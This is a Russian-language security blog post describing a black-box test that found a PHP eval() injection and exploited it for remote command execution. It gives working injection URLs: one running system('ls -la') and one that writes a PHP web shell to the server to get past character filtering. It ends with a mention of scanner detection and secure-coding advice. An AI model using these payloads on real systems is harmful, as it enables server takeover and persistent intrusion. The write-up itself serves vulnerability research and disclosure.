Выполнение команд на сервере в функции eval()

Выполнение команд на сервере в функции eval()
Как-то довелось мне исследовать одно Web-приложение методом black-box, в котором была выявлена красиво эксплуатабельная уязвимость, позволяющая выполнять произвольные команды на сервере. На этапе проведения сканирования, в поле зрения попало следующее сообщение об ошибке: Уязвимый код (полученный по окончании работ): ... if($_CONFIG["STATUS"]) eval(mkPHPeval($TMP)); ... name='more'> Из сообщения об ошибке отчетливо прослеживается, что в функцию eval()попадают данные без предварительной обработки. Данная функция пхп оценивает передаваемую в нее строку как PHP-код. Причем, достаточно часто я встречаюсь с ее использованием в различных CMS. В общем, эксплуатируется подобная уязвимость следующим образом: http://victim/?id=";system("ls%20-la");%20" Можно было бы предположить, что имея возможность выполнения команд на сервере через уязвимость в этой функции проблем с получением полноценного web-shellа возникнуть не должно. Однако, в моем случае фильтрация некоторых символов все-таки осуществлялась (фильтровались знаки перенаправления и объединения потоков). Поэтому был составлен запрос следующего вида: http://victim/?id=";$ha=fopen(substr("userfiles/pt.php",0,16),"w");fwrite($ha,$_GET[write]);%20"&write=<?system($_GET[cmd]);?> И после успешного выполнения запроса был получен наколенный web-shell без какой либо фильтрации передаваемых к нему символов: http://victim/userfiles/pt.php?cmd=ls К слову, в настоящее время XSpiderотлавливает подобного рода уязвимости в функции eval(). А для того, чтобы избежать их появления, и появления прочих, не менее опасных уязвимостей в Web, можно воспользоваться рекомендациями, приведенными в этом разделе.
уязвимости Command Execution research vulns уязвимости web fuzzing blackbox xspider
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

Исполнение ФЗ-152 может быть простым и быстрым.

Приходите на вебинар и узнайте, как автоматизировать рутину, избежать штрафов и всегда быть готовым к проверке вместе с Security Vision. Все необходимые документы — одним кликом!

Реклама. 18+, ООО «Интеллектуальная безопасность», ИНН 7719435412